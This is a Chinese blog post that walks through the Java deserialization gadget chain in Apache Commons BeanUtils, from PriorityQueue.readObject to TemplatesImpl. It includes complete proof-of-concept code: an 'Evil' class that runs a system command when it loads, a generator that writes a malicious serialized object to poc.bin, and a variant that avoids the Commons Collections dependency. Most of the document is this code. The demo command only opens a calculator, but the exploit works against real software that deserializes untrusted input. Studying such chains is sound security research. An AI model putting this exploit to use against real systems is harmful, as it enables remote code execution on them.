Java反序列化(九) | CommonsBeanutils

CommonsBeanutils

Anime 1920x1080 Blender vector landscape

其实前面的CommonsBeanutilsShiro已经使用了一遍了, 但是想了想CB链还是值得拥有自己的一篇的文章的所以就再分析了一遍。

Gadget

java.util.PriorityQueue.readObject
java.util.PriorityQueue.heapify
java.util.PriorityQueue.siftDown
java.util.PriorityQueue.siftDownUsingComparator
org.apache.commons.beanutils.BeanComparator.compare
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer

准备

为了方便后面的每一步的代码可以让读者单独运行同时为了避免代码段重复太多我这里先给出全部的依赖和通过反射设置变量参数的函数, 下面想要执行单独一部分的代码只要粘贴这里的依赖和赋值函数后再复制下面的代码块内容执行即可

import POC_macker.CBShiro.Evil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static void main(String[] args) throws Exception {
        System.out.println("End");
    }
    
}

TemplatesImpl.newTransformer

下面我们使用的TemplatesImpl是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

TemplatesImpl.newTransformer是标准的CC3尾巴了, 先给出TemplatesImpl的构造方法:

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();		//测试能否触发成功
    }

TemplatesImpl.getOutputProperties

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

条件:

​ null

TemplatesImpl.getOutputProperties调用了自己的TemplatesImpl.newTransformer

BeanComparator.compare

下面开始进入CommonsBeanutils: org.apache.commons.beanutils.BeanComparator#compare

    public int compare(Object o1, Object o2) {
        if (this.property == null) {
            return this.comparator.compare(o1, o2);
        } else {
            try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.comparator.compare(value1, value2);
            } catch (IllegalAccessException var5) {
                throw new RuntimeException("IllegalAccessException: " + var5.toString());
            } catch (InvocationTargetException var6) {
                throw new RuntimeException("InvocationTargetException: " + var6.toString());
            } catch (NoSuchMethodException var7) {
                throw new RuntimeException("NoSuchMethodException: " + var7.toString());
            }
        }
    }

通过PropertyUtils.getProperty获取传入的o1对象的this.property

当我们满足两个条件就会调用TemplatesImpl.getOutputProperties:

  1. o1 = new TemplatesImpl();
  2. this.property = "outputProperties"

具体原因可以去了解一下JavaBean结构: JavaBean传送门

注意这里的outputProperties第一个字母必须为小写, 在调用Bean的取值函数的时候会自动在前面加上get并将第一个字母转换为大写并在最后通过反射调用动态执行o1.getOutputProperties

PriorityQueue.siftDownUsingComparator

优先队列java.util.PriorityQueue#siftDownUsingComparator

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

comparator可控, 所以我们需要满足两个条件:

  1. PriorityQueue.comparator = new BeanComparator();

  2. x = new TemplatesImpl();

    x为传入的第二个参数

PriorityQueue.siftDownUsingComparator会调用自己comparator属性的compare函数

private final Comparator<? super E> comparator;

但是可以看到, PriorityQueue.siftDownUsingComparator是一个私有函数, 所以我们需要在它的内部找到一个调用函数

PriorityQueue.siftDown

通过查找可以直接看到内部的PriorityQueue.siftDown调用了PriorityQueue.siftDownUsingComparator

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

需要满足条件:

  1. PriorityQueue.comparator != null

  2. x = new TemplatesImpl();

    x为传入的第二个参数

因为PriorityQueue.siftDown也还是一个private函数, 所以需要再次在类内寻找调用了PriorityQueue.siftDown的函数

image-20220405013859876

发现有三个函数方法调用了PriorityQueue.siftDown, 在这里我们选择了最后一个PriorityQueue.heapify, 因为PriorityQueue.siftDown会在PriorityQueue的readObject函数中直接被调用

PriorityQueue.heapify

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

需要满足条件:

  1. ((size >>> 1) - 1 ) >= 0 ;
  2. queue[i] = new TemplatesImpl();

因为queue和size都是PriorityQueue的自身变量所以我们可以自己确定

    private int size = 0;
    transient Object[] queue; // non-private to simplify nested class access

PriorityQueue.readObject

PriorityQueue.readObject调用了自身的PriorityQueue.heapify, 在这里也就找到头了

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

条件:

​ PriorityQueue.readObject不需要什么特殊条件就会调用PriorityQueue.heapify函数

构造链

以下我注释了的代码均为测试代码,取消注释会导致代码执行

TemplatesImpl

  1. self._bytecodes = 恶意加载类的字节码(我们构造一个Evil类)

  2. self._name = "HelloTemplatesImpl";

  3. self._tfactory = new TransformerFactoryImpl();

    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.get(Evil.class.getName());
    
    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
    setFieldValue(templates, "_name", "HelloTemplatesImpl");
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    

    // templates.newTransformer();

在这里就可以使用propertyUtils.getProperty测试能否调用TemplatesImpl.getOutputProperties

//        PropertyUtils.getProperty(templates,"outputProperties");

BeanComparator

条件:

  1. this.property = "outputProperties"
        BeanComparator beanComparator = new BeanComparator();
        setFieldValue(beanComparator,"property","outputProperties");
//        beanComparator.compare(templates,1);

PriorityQueue

条件:

  1. self.queue[i] = new TemplatesImpl();
  2. self.queue[0] = new TemplatesImpl(); //queue =
  3. ((self.size >>> 1) - 1 ) >= 0 ; size大小必须和queue的大小相等而且不小于2,我们设为size = 2;
  4. self.comparator != null ; //comparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue();
        setFieldValue(priorityQueue,"comparator",beanComparator);
        setFieldValue(priorityQueue,"size",2);
        Object[] ints = {templates,templates};
        setFieldValue(priorityQueue,"queue",ints);
//        priorityQueue.poll();

POC

项目结构:

image-20220405024221872

POC_CODE

/POC_macker/CommonsBeanutils/Evil.java

package POC_macker.CommonsBeanutils;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

/POC_macker/CommonsBeanutils/Get_poc.java

package POC_macker.CommonsBeanutils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;

public class Get_poc {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//        templates.newTransformer();


//        PropertyUtils.getProperty(templates,"outputProperties");

        BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
        System.out.println("已选择使用AttrCompare构造BeanComparator,无需CC依赖");
//        BeanComparator beanComparator = new BeanComparator();
//        System.out.println("使用默认构造函数创建BeanComparator,需要CC依赖");
        setFieldValue(beanComparator,"property","outputProperties");

//        beanComparator.compare(templates,1);

        PriorityQueue priorityQueue = new PriorityQueue();
        setFieldValue(priorityQueue,"comparator",beanComparator);
        setFieldValue(priorityQueue,"size",2);
        Object[] ints = {templates,templates};
        setFieldValue(priorityQueue,"queue",ints);
//        priorityQueue.poll();

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./poc.bin"));
        objectOutputStream.writeObject(priorityQueue);
        objectOutputStream.flush();
        objectOutputStream.close();


        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./poc.bin"));
//        想要测试的话注释掉下面的反序列化函数readObject即可
        Object object = objectInputStream.readObject();
        System.out.println("End");
    }
}

这里再给一个模块化之后的代码:

package POC_macker.CommonsBeanutils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class Get_poc {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        serialize(
                getPayloadObject()
        );
        unserialize();
        System.out.println("End");
    }

    public static Object getPayloadObject() throws Exception {
        return get_PriorityQueue(
                get_BeanComparator(), get_TemplatesImpl(
                        get_Evil_clazz(Evil.class)
                )
        );
    }



    public static CtClass get_Evil_clazz(Class Class) throws NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Class.getName());
        return clazz;
    }

    public static TemplatesImpl get_TemplatesImpl(CtClass clazz) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//        templates.newTransformer();
//        PropertyUtils.getProperty(templates,"outputProperties");
        return templates;
    }


    public static BeanComparator get_BeanComparator() throws Exception {
        BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
        System.out.println("已选择使用AttrCompare构造BeanComparator,无需CC依赖");
//        BeanComparator beanComparator = new BeanComparator();
//        System.out.println("使用默认构造函数创建BeanComparator,需要CC依赖");
        setFieldValue(beanComparator,"property","outputProperties");
//        beanComparator.compare(templates,1);
        return beanComparator;
    }

    public static PriorityQueue get_PriorityQueue(BeanComparator beanComparator, TemplatesImpl templates) throws Exception {
        PriorityQueue priorityQueue = new PriorityQueue();
        setFieldValue(priorityQueue,"comparator",beanComparator);
        setFieldValue(priorityQueue,"size",2);
        Object[] ints = {templates,templates};
        setFieldValue(priorityQueue,"queue",ints);
//        priorityQueue.poll();
        return priorityQueue;
    }

    public static byte[] toByteArray(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }
    public static void serialize(Object object,String name) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(name));
        objectOutputStream.writeObject(object);
        objectOutputStream.flush();
        objectOutputStream.close();
    }
    public static void serialize(Object object) throws IOException {
        serialize(object,"./poc.bin");
    }


    public static void unserialize(String name) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(name));
//        想要测试的话注释掉下面的反序列化函数readObject即可
        Object get_object = objectInputStream.readObject();
    }
    public static void unserialize() throws IOException, ClassNotFoundException {
        unserialize("./poc.bin");
    }
}

CommonsBeanutils - Plus

默认的CommonsBeanutils是需要CC依赖的, 问题出在org.apache.commons.beanutils.BeanComparator对象的创建

添加CC依赖之前:

image-20220405023440439

进去分析一下可以找到

img

org.apache.commons.beanutils.BeanComparator的全部代码:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.beanutils;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.util.Comparator;
import org.apache.commons.collections.comparators.ComparableComparator;

public class BeanComparator implements Comparator, Serializable {
    private String property;
    private Comparator comparator;

    public BeanComparator() {
        this((String)null);
    }

    public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

    public BeanComparator(String property, Comparator comparator) {
        this.setProperty(property);
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }

    }

    public void setProperty(String property) {
        this.property = property;
    }

    public String getProperty() {
        return this.property;
    }

    public Comparator getComparator() {
        return this.comparator;
    }

    public int compare(Object o1, Object o2) {
        if (this.property == null) {
            return this.comparator.compare(o1, o2);
        } else {
            try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.comparator.compare(value1, value2);
            } catch (IllegalAccessException var5) {
                throw new RuntimeException("IllegalAccessException: " + var5.toString());
            } catch (InvocationTargetException var6) {
                throw new RuntimeException("InvocationTargetException: " + var6.toString());
            } catch (NoSuchMethodException var7) {
                throw new RuntimeException("NoSuchMethodException: " + var7.toString());
            }
        }
    }

    public boolean equals(Object o) {
        if (this == o) {
            return true;
        } else if (!(o instanceof BeanComparator)) {
            return false;
        } else {
            BeanComparator beanComparator = (BeanComparator)o;
            if (!this.comparator.equals(beanComparator.comparator)) {
                return false;
            } else if (this.property != null) {
                return this.property.equals(beanComparator.property);
            } else {
                return beanComparator.property == null;
            }
        }
    }

    public int hashCode() {
        int result = this.comparator.hashCode();
        return result;
    }
}

如果想要摆脱CC依赖我们使用第三个构造函数自定义一个非CC包的Comparator,

这个Comparator必须是java.util.Comparator接口的实现同时这个Comparator需要继承了Serializeble,

这里选择com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare

所以我们可以将代码的

        BeanComparator beanComparator = new BeanComparator();
        setFieldValue(beanComparator,"property","outputProperties");

改为

import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;


        BeanComparator beanComparator = new BeanComparator("outputProperties",
                new AttrCompare());
        setFieldValue(beanComparator,"property","outputProperties");

然后就可以不依赖CC了

pom.xml

执行失败的小伙伴可以参考一下,看看是不是少了什么依赖,执行成功的文章到这里也就结束了可以不用看了

添加org.javassist依赖之前:

image-20220405023710941

最终pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>untitled</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.27.0-GA</version>
        </dependency>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.8.3</version>
        </dependency>
<!--        CC依赖可选,不使用CC依赖的话创建BeanComparator使用com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare即可-->
<!--        <dependency>-->
<!--            <groupId>commons-collections</groupId>-->
<!--            <artifactId>commons-collections</artifactId>-->
<!--            <version>3.2.1</version>-->
<!--        </dependency>-->

    </dependencies>

</project>

此次执行JDK版本:1.8.0_311

有点晚了,碎觉碎觉

posted @ 2022-04-25 12:47  h0cksr  阅读(158)  评论(0编辑  收藏  举报